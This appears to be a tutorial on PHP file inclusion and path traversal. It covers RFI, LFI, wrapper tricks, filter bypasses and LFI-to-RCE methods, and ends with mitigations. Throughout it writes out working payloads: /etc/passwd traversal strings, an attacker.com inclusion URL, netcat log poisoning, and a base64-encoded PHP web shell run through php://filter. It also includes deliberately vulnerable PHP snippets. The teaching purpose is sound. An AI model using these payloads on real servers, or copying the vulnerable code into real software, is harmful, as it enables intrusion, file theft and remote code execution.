File Inclusion, Path Traversal
- File inclusion and Path Traversal are vulnerabilities that arise when an application allows external input to change the path for accessing files.
- In web applicaitions, the vulnerabilities primarily arise from improper handling of file paths and URLs. These vulnerabilities allow attackers to include files not intended to be a part of web application, leading to unauthorized access or RCE.
- Server side scripting and file handling: Server-side scripts run on the server and generate the content of the frontend, which is then sent to the client. Unlike client-side scripts like JavaScript in the browser, server-side scripts can access the server’s file system and databases. Web applications often need to read from or write to files on the server. For example, reading configuration files, saving user uploads, or including code from other files.
- For example, the application like
https://test.com/lfi.php?page=/var/www/html/menu.phpincludes a file name based on user input. If this input is not correctly validated and sanitized, an attacker might might exploit the vulnerable parameter to include malicious files or access sensitive files on server. In this case, the attacker could view the contents of the server’s passwd file, so his payload could behttps://test.com/lfi.php?page=../../../../etc/passwdorhttps://test.com/lfi.php?page=/etc/passwd. - Attackers can inject malicious payloads to log files
/var/log/apache2/access.logand manipulate file paths to execute the logged payload, an attacker can achieve remote code execution. An attacker may also read configuration files that contain sensitive information, like database credentials, if the application returns the file in plaintext.
Files inclusion Types#
Remote File Inclusion (RFI)#
- RFI is a vulnerability that allows attackers to include remote files, often through input manipulation. This can lead to the execution of malicious scripts or code on the server.
- Typically, RFI occurs in applications that dynamically include external files or scripts. Attackers can manipulate parameters in a request to point to external malicious files.
- For example, if a web application uses a URL in a GET parameter like
include.php?page=http://attacker.com/exploit.php, an attacker can replace the URL with a path to a malicious script.
Local File Inclusion (LFI)#
- Local File Inclusion, or LFI, typically occurs when an attacker exploits vulnerable input fields to access or execute files on the server.
- Attackers usually exploit poorly sanitized input fields to manipulate file paths, aiming to access files outside the intended directory.
- For example, using a traversal string, an attacker might access sensitive files like
include.php?page=../../../../etc/passwd. - While LFI primarily leads to unauthorized file access, it can escalate to RCE. This can occur if the attacker can upload or inject executable code into a file that is later included or executed by the server.
- Techniques such as log poisoning, which means injecting code into log files and then including those log files, are examples of how LFI can lead to RCE.
Wrappers#
PHP Wrappers are part of PHP’s functionality that allows users to access to various data streams. Wrappers can also access or execute code through built-in PHP protocols, which may lead to significant security risks if not properly handled.
For instance, an application vulnerable to LFI might include files based on user-supplied input without sufficient validation. In such cases, attackers can use the
php://filterfilter which allows a user to perform basic modications operations on data before its read or written.For example, if an attacker wants to encode the contents of an included file like
/etc/passwdin base64, he can useconvert.base64-encodeconversion filter of wrapper. The final payload will be thenphp://filter/convert.base64-encode/resource=/etc/passwd. Likehttps://test.com/main.php?page=php://filter/convert.base64-encode/resource=/etc/passwd.There are many categories of filters in PHP. Some of these are String Filters (string.rot13, string.toupper, string.tolower, and string.strip_tags), Conversion Filters (convert.base64-encode, convert.base64-decode, convert.quoted-printable-encode, and convert.quoted-printable-decode), Compression Filters (zlib.deflate and zlib.inflate), and Encryption Filters (mcrypt, and mdecrypt) which is now deprecated.
For example, the table below represents the output of the target file
.htaccessusing the different string filters in PHP.Payload Output php://filter/convert.base64-encode/resource=.htaccess UmV3cml0ZUVuZ2luZSBvbgpPcHRpb25zIC1JbmRleGVz php://filter/string.rot13/resource=.htaccess ErjevgrRatvar ba Bcgvbaf -Vaqrkrf php://filter/string.toupper/resource=.htaccess REWRITEENGINE ON OPTIONS -INDEXES php://filter/string.tolower/resource=.htaccess rewriteengine on options -indexes php://filter/string.strip_tags/resource=.htaccess RewriteEngine on Options -Indexes No filter applied RewriteEngine on Options -Indexes
Data Wrappers#
- The Data stream wrapper is another example of PHP’s functionality. The
data://wrapper allows incline data embedding. It is used to embed small amounts of data directly into applicaiton code. - For example, go to
http://test.com/playground.phpand use the payloaddata:text/plain,<?php%20phpinfo();%20?>. In the below image, this URL could cause PHP code execution, displaying the PHP configuration details. Likehttps://test.com/main.php?page=data:text/plain,<?php%20phpinfo();%20?>. - The breakdown of the payload
data:text/plain,<?php phpinfo(); ?>is:data:as the URL.mime-typeis set astext/plain.- The
datapart includes a PHP code snippet:<?php phpinfo(); ?>.
Base Directory Breakots#
- In web applications, safeguards are put in place to prevent path traversal attacks. However, these defences are not always foolprrof. Below is the code of an application that insists that filename provided by user must begin with a predetermined base directory and will also strip out file traversal strings to protect the application from LFI attacks.
<?php function containsStr($str, $subStr) { // checks if substring exists within string return strpos($str, $subStr) !== false; } if(isset($_GET['page'])) { // checks if $_GET['page'] does not contain the substring '../' and '/var/www/html' // However, '..//.//' bypasses this filter because it still effectively navigates up two directories similar to '../../'. // It does not exactly match the blocked pattern '../..' due to the extra slashes. // The extra slashes '//' in '..//.//' are treated as single slash by the file system. // So, the path `/var/www/html/..//..//..//etc/passwd` is treated as `/var/www/html/../etc/passwd` which is equivalent to `/etc/passwd`. if(!containsStr($_GET['page'], '../') && !containsStr($_GET['page'], '/var/www/html')) { include $_GET['page']; }else{ echo 'You are not allowed to go outside /var/www/html directory'; } } ?> - Its possible to comply with this requirement and navigate to other directories. This can be achieved by appending the necessary traversal sequences after mandatory base folder.
- For example, we can still use
/var/www/html/..//..//..//etc/passwdto read the/etc/passwdfile.
Obfuscation#
- Obfuscation techniques are often used to bypass basic security filters that web applications might have in place.
- These filters typically look for obvious directory traversal sequences like
../. However, attackers often evade detectiion by obfuscating these sequences and still navigate through the seerve’’s file system. - Encoding transforms characters into a different format. In LFI, attackers commonly use URL encoding. For instance,
../can be encoded or obfuscuted in several ways to bypass simple filters.- Standard URL encoding:
../becomes%2e%2e%2f - Double encoding: Usefull if the application decodes inputs twice.
../becomes%252e%252e%252f - Obfuscation: Attackers can use payloads like
....//, which help in avoiding detection by simple string matching or filtering mechanisms. This Obfuscation techinique is intended to conceal directory traversal attempts, making them less apparent to basic security filters.
- Standard URL encoding:
- For example, imagine an application that mitigates LFI by filtering out
../:
<?php
$file = $_GET['file'];
$file = str_replace('../', '', $file);
include('files/' . $file);
?>
- An attacker can potentially bypass this filter using the following methods:
- URL Encoding Bypass: Use the URL encoded version of payload like
?file=%2e%2e%2fconfig.php. The server decodes this input to../config.php, bypassing the filter. - Double encoded bypass: Use if the application decodes inputs twice. The payload would be then
?fiel=%252e%252e%252fconfig.php, where a dot is encoded as%252eand a forward slash is encoded as%252f. The first decoding step changes from%252e%252e%252fto%2e%2e%2f. The second decoding step changes from%2e%2e%2fto../. - Obfuscation: Could use the paylaod
....//config.php, which after the application strips out the apparent traversal string, would effectiverly becomes../config.php
- URL Encoding Bypass: Use the URL encoded version of payload like
LFI2RCE - Session Files#
- PHP session files can also be used in an LFI attack, leading to RCE, particularly if an attacker manupulates the session data. In typical web application, session data is stored in files on server.
- If an attacker can inject malicious code into these session files, and if the application includes these files through LFI vulnerability, this can lead to RCE.
- For example, if a vulnerable applcation hosted in
https://test.com/sessions.phpcontains the below code
<?php
if(isset($_GET['page'])) {
$_SESSIONS['page'] = $_GET['page'];
echo "You're currently in" . $_GET['page'];
include($_SESSIONS['page']);
}
?>
- An attacker could exploit this vulnerability by injecting a PHP code into their session variable by using
<?php echo phpinfo(); ?>in the page parameter. Ashttps://test.com/sessions.php?page=<?php echo phpinfo(); ?> - This code is then saved in the session file on server. SUbsequently, the attacker can use the LFI vulnerability to include this session file. Since session IDs are hashed, the ID can be found in the cookies section of your browser.
- Accessing the URL,
https://test.com/sessions.php?page=/var/lib/php/sessions/sess_<session_id>would include the session file and execute the PHP code. Note that you need to replace<session_id>with the actual session ID from the cookies.
LFI2RCE - Log Posioning#
- Log Poisoning is a technique where an attacker injects executable code into a web server’s log file, and then uses an LFI vulnerability to include and execute this log file.
- This method particularly stealthy because log files are shared and are a seemingly harmless part of web server operations.
- In a log poisoning attack, the attacker must first inject maliciouos PHP code into log file. This can be done in various ways, such as crafting an evil user agent, sending a payload via URL using netcat, or a refferer header that the server logs.
- Once the php code is in the log file, the attacker can expoit an LFI vulnerability to include it as a standard PHP file.
- This causes the server to execute the malicious code contained in the log file, leading to RCE.
- For example, if an attacker sends a Netcat request to the vulnerable machine containing a PHP code: The code will then be logged in the server’s access logs.
nc test.com 80
<?php echo phpinfo(); ?>
HTTP/1.1 400 Bad Request
Date: Thu, 19 Feb 2026 00:00:00 GMT
Server: Apache/2.4.58 (Ubuntu)
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title> 400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.58 (Ubuntu) Server at test.com Port 80</address>
</body></html>
- The attacker then uses LFI to include the access log file:
?page=/var/log/apache2/access.log
LFI2RCE - Wrappers#
- PHP wrappers can also be used not only for reading files but also for code execution.
- The key here is
php://filterstream wrapper, which enables file transformation on the fly. - For example, we will use
https://test.com/playground.phpto understand this concept. - We can use the PHP code
<?php system($_GET['cmd']); echo 'Shell done!'; ?>as our payload. The value of payload, when encoded to base64, will bephp://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4- Protocol Wrapper
php://filter - Flter
convert.base64-decode - Resource Type
resource= - Data Type
data://plain/text - Base64 Encoded version of Payload
PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZS
- Protocol Wrapper
- When server process this request, it first decodes base64 string and then execute the PHP code, allowing attacker to run commands on the server via the
cmdparameter. - As
https://test.com/playground.php?page=php://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4&cmd=cat%20flags/cd3c67e5079de2700af6cea0a405f9cc.txt - Note: It is important to not include the
&cmd=whoamiin the input field since it will be encoded when the form is submitted. Once encoded, the backend will treat it as part of the base64 code, giving you an invalid byte sequence error.
Mitigation and Prevention Strategies#
- Ensure all user inputs are properly validated and sanitized. This is a crucial step to prevent attackers from manipulating file paths or including malicious files.
- Implement allowlisting for file inclusion and access. Define which files can be included or accessed and reject any request that does not match these criteria.
- Configure server settings to disallow remote file inclusion and limit the ability of scripts to access the filesystem. For PHP, directives like
allow_url_fopenandallow_url_includeshould be disabled if not needed. - Performing regular code reviews and security audits to identify potential vulnerabilities with the help of automated tools. Manual checks are also essential.
- Ensure that everyone involved in the development process understands the importance of security. Regular training on secure coding practices can significantly reduce the risk of this vulnerability.